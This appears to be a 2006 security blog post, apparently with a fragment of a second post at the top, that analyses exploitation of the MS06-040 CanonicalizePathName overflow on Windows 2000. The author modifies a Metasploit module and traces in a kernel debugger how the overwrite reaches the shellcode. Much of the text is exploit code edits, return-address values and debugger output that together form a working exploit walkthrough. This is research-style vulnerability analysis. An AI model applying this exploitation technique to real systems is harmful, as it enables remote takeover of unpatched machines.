71c8c21c 42424242 42424242 42424242 42424242
71c8c22c 42424242 42424242 42424242 42424242
71c8c23c 42424242 42424242 42424242 42424242
71c8c24c 42424242 42424242 42424242 42424242
71c8c25c 42424242 42424242 42424242 42424242
kd> p
NETAPI32!CanonicalizePathName+0x13b:
001b:71c44b8d c9 leave
kd> p
NETAPI32!CanonicalizePathName+0x13c:
001b:71c44b8e c21400 ret 14h
kd> p
001b:49494949 ?? ???

At this time ecx value is matched, the “leave” and “ret” instruction are executed. This results in the flow of execution transfer 0x49494949 – I win ^0^. Finding the offset of 0x49494949 is not the hard part. I change 0x49494949 to 0x71c8c1ec – address of our shellcode – End Game…

P.S. I’m working on 2K3 SP1 to see whether or not this technique can be used to bring the code execution. If someone has already done this, plz share information J

P.S. my blog down yesterday, so everything had to delay to this day (Sep 16, 2006)

Sunday, September 10, 2006

When Kernel Crash : MS06-040 Microsoft CanonicalizePathName() Overflow

Last month (August 2006), one of the most interested vulnerability was disclosure, MS06-040 Microsoft CanonicalizePathName() Overflow. The vulnerability can trigged by creating the malformed packet “NetpwPathCanonicalize RPC call”. If the attacker exploits the vulnerability successful in Windows 2000 SP0 – SP4 or Windows XP SP0 – SP1, he will be able to completely control the system because his privilege is SYSTEM. The vulnerability cannot be exploit to execute the code on Windows XP SP2 or Windows Server 2003 SP1 due to the fact that these systems have the mechanism to prevent buffer overflow exploitation technique. However, the attacker still can launch DoS attack to Windows XP SP2 and Windows Server 2003 SP1.

There are three exploits have been published to attack this vulnerability – rootshell team, iRP and H D Moore (metasploit). Of course, to avoid the implementation detailed of DEC/RPC protocol and to avoid the undocumented exploit, I decide to use the metasploit version to study how to exploit the vulnerability. My target system is Windows Server 2000 SP 4 because it will reboot itself when it’s crashes – easy to notice.

Now, Let start to crash the system ^-^. I modify the metasploit module “netapi_ms06_040.pm” :

[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ]

I change 0x00020804 to 0xAAAAAAAA. The reason why I change only this value because this is the return value to the payload. If I wanna to see how to exploit it, I have to investigate from the point that system crashes. Then launch the exploit.


The system crashes and has to restart and the error message inform me that the process services.exe has terminated. I boot the system in debug mode and attach kernel debugger to it. Now, launch the exploit again:

Unhandled Exception hit in services.exe

first, enter !exr 014BF360 for the exception record
next, enter !cxr 014BF37C for the context
then !kb to get the faulting stack

Break instruction exception - code 80000003 (first chance)
*** WARNING: symbols timestamp is wrong 0x3ef274dc 0x41e648e0 for NTDLL.DLL
NTDLL!RtlpProcessWaitCompletion+0x180:
001b:77fa144b cc int 3

kd> .exr 014BF360
ExceptionAddress: 78010497
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: aaaaaaaa
Attempt to write to address aaaaaaaa

kd> .cxr 014BF37C
eax=014b02eb ebx=00000411 ecx=aaaaaaaa edx=014bf660 esi=00000002 edi=780104a8
eip=78010497 esp=014bf648 ebp=014bfa74 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000213
001b:78010497 668901 mov word ptr [ecx],ax ds:0023:aaaaaaaa=????

I got more information from kd. First, the system crashes because of unhandled exception in services.exe – attempt to write to address 0xaaaaaaaa – the invalid memory. Second, we can control ecx. Third, the instruction that causes the access violation is 0x78010497 (in MSVCRT!wcscpy + 0xb). I disassemble the function wcscpy() to get more picture:

7801048c mov ecx,dword ptr [esp+4]
78010490 mov edx,dword ptr [esp+8]
78010494 mov ax,word ptr [edx]
78010497 mov word ptr [ecx], ax
7801049a inc ecx
7801049b inc ecx
7801049c inc edx
7801049d inc edx
7801049e test ax,ax
780104a1 jne MSVCRT!wcscpy+0x8 (78010494)
780104a3 mov eax,dword ptr [esp+4]
780104a7 ret

There are 12 lines of code in this function – not much ^-^. The function takes 2 parameters, ecx and edx. It copy each 2 bytes pointed by edx to ecx until edx point to the value 0x0. The first parameter, ecx, is the value that we can control so we can write the value pointed by edx to any memory that we want (of course, it has to be the valid memory). But I don’t know what’s edx point to. To make it clear, I modify the exploit again:

if ($target->[0] =~ /2000/ && ! $target->[3]) {

# Pad our shellcode out with nops
$shellcode = $self->MakeNops($target->[1] - length($shellcode)) . $shellcode;

I add 2 lines of code:

my $lengthsc = length($shellcode);
$shellcode = "\xcc" x $lengthsc;

These code change every byte of the payload to “\xcc”. I rerun the exploit and the system crashes. I dump the memory pointed by edx:

0146f660 005c02eb cccccccc cccccccc cccccccc
0146f670 cccccccc cccccccc cccccccc cccccccc
0146f680 cccccccc cccccccc cccccccc cccccccc
0146f690 cccccccc cccccccc cccccccc cccccccc
0146f6a0 cccccccc cccccccc cccccccc cccccccc
0146f6b0 cccccccc cccccccc cccccccc cccccccc
0146f6c0 cccccccc cccccccc cccccccc cccccccc
0146f6d0 cccccccc cccccccc cccccccc cccccccc

Wow !!! it point to the location near our payload. Could you recognize the first 2 bytes at 0x0146f660 ? Yes, it is the instruction “jmp 0x02”. This means that it will jump to our payload. I locate the bytes “eb 02” in the exploit code and I found it at line:

Pex::NDR::UnicodeConformantVaryingStringPreBuilt( "\xeb\x02" . "\x00\x00").

I continue disassemble the memory pointed by edx and I can draw the layout of payload like this:

0146f660 005c02eb cccccccc cccccccc cccccccc
0146f670 cccccccc cccccccc cccccccc cccccccc
.....
0146fa40 cccccccc cccccccc cccccccc aaaaaaaa
.....
0146fa80 aaaaaaaa aaaaaaaa aaaaaaaa 00000000

After our shellcode is the series of 4 bytes “0xaaaaaaaa” which correspond the code line:

my $path = $shellcode . (pack('V', $target->[2]) x 16) . "\x00\x00";

this picture in the layout of the packet captured by Ethereal – yes, Ethereal not Wireshark :)


(This made me some confuse, because our shellcode is followed by “eb 02” in the packet layout but it followed “eb 02” in the memory layout. May be it’s all about the order when the kernel copy packet into the memory.)

Now, we can write our shellcode into any memory location, but how services.exe transfer from the point that kernel crashed to execute our shellcode. I change the exploit back to the original one and add this line:

$shellcode = "\xcc" . $shellcode ;

This will halt the debugger before the payload is executed. I also set breakpoint at 0x78010497 – the point that kernel crash – with the conditional “j @ecx = 00020804 ‘’;’gc’”. The debugger will halt at the address 0x78010497 when ecx = 0x00020804. But when I run the exploit, the debugger does not halt at 0x78010497. Why ? I try to change the ecx value until found something interest. I use 0x00112233 as the ecx value:

ExceptionAddress: 78010497
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 11223300
Attempt to write to address 11223300

The ecx value is 0x11223300, not 0x00112233 !!? The leading byte 0x00 is ignored by Windows and the bytes 0x112233 is appended by 0x00. Now I set the new breakpoint condition “j @ecx = 02080400 ‘’;’gc’”:

kd> bp 78010497 "j @ecx = 02080400 '';'gc'"
kd> bl
0 e 78010497 0001 (0001) "j @ecx = 02080400 '';'gc'"

kd> g
001b:78010497 668901 mov word ptr [ecx],ax
kd> r
eax=015a02eb ebx=00000411 ecx=02080400 edx=015af660 esi=00000002 edi=780104a8
eip=78010497 esp=015af648 ebp=015afa74 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287
001b:78010497 668901 mov word ptr [ecx],ax ds:0023:02080400=????

Yes, It stop at 0x78010497 and ecx = 02080400. At this point, I clear the old breakpoint and redefine the new breakpoint at the address 0x7801049etest ax ax” with the condition “j @ax=0000 ‘’:’gc’”:

kd> g
001b:7801049e 6685c0 test ax,ax
kd> r
eax=015a0000 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8
eip=7801049e esp=015af648 ebp=015afa74 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206
001b:7801049e 6685c0 test ax,ax
......
kd> r
eax=02080400 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8
eip=780104a7 esp=015af648 ebp=015afa74 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:780104a7 c3 ret

The debugger break at the address 0x7801049e because ax = 0x0000 and it will not jump to 0x78010494. The kernel execute until “ret” instruction at 0x780104a7. This is the context after the “ret” instruction.

eax=02080400 ebx=00000411 ecx=0208082e edx=015afa8e esi=00000002 edi=780104a8
eip=75175378 esp=015af64c ebp=015afa74 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:75175378 59 pop ecx

The flow of execution transfer to 0x75175378 - NETAPI32!`string'+0x38c:

75175378 59 pop ecx
75175379 33c0 xor eax,eax
7517537b 59 pop ecx
7517537c 5f pop edi
7517537d 5e pop esi
7517537e 5b pop ebx
7517537f c9 leave
75175380 c21400 ret 14h

Follow the instruction until the address 0x7517537e, the context looks like this:

eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000
eip=7517537f esp=015af660 ebp=015afa74 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:7517537f c9 leave

The “leave” instruction can be divided into 2 seperate instructions:

mov esp, ebp ; esp = 015afa74, ebp = 015afa74
pop ebp ; ebp = 02080400

eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000
eip=75175380 esp=015afa78 ebp=02080400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:75175380 c21400 ret 14h

We reach the “ret” instruction which will jump to the address pointed by esp.

kd> dd esp
015afa78 02080400 02080400 02080400 02080400
015afa88 02080400 00000000 015afac0 015afafc
.....

Because esp pointed to the address 0x02080400, so the flow of execution transfer to 0x02080400

eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000
eip=02080400 esp=015afa90 ebp=02080400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
001b:02080400 eb02 jmp 02080404

kd> dd 02080400
02080400 005c02eb fd483fcc 4e96f892 4046984f
02080410 49fdf99f f94e9190 404f4b42 41379893

Can you recognize the first 4 bytes ? Yes it is the start of our payload !!!. Now I press ‘g’ to continue:

kd> g
Break instruction exception - code 80000003 (first chance)
001b:02080404 cc int 3

It break at the instruction “cc” which we insert at the front of shellcode. I continue to run the kernel which result in command prompt ^-^.

P.S. I still have the question, why the exploit choose to overwrite at 0x02080400 ? I change this value to 0x02010100 and it still work.I know only that it has to be the writable memory section.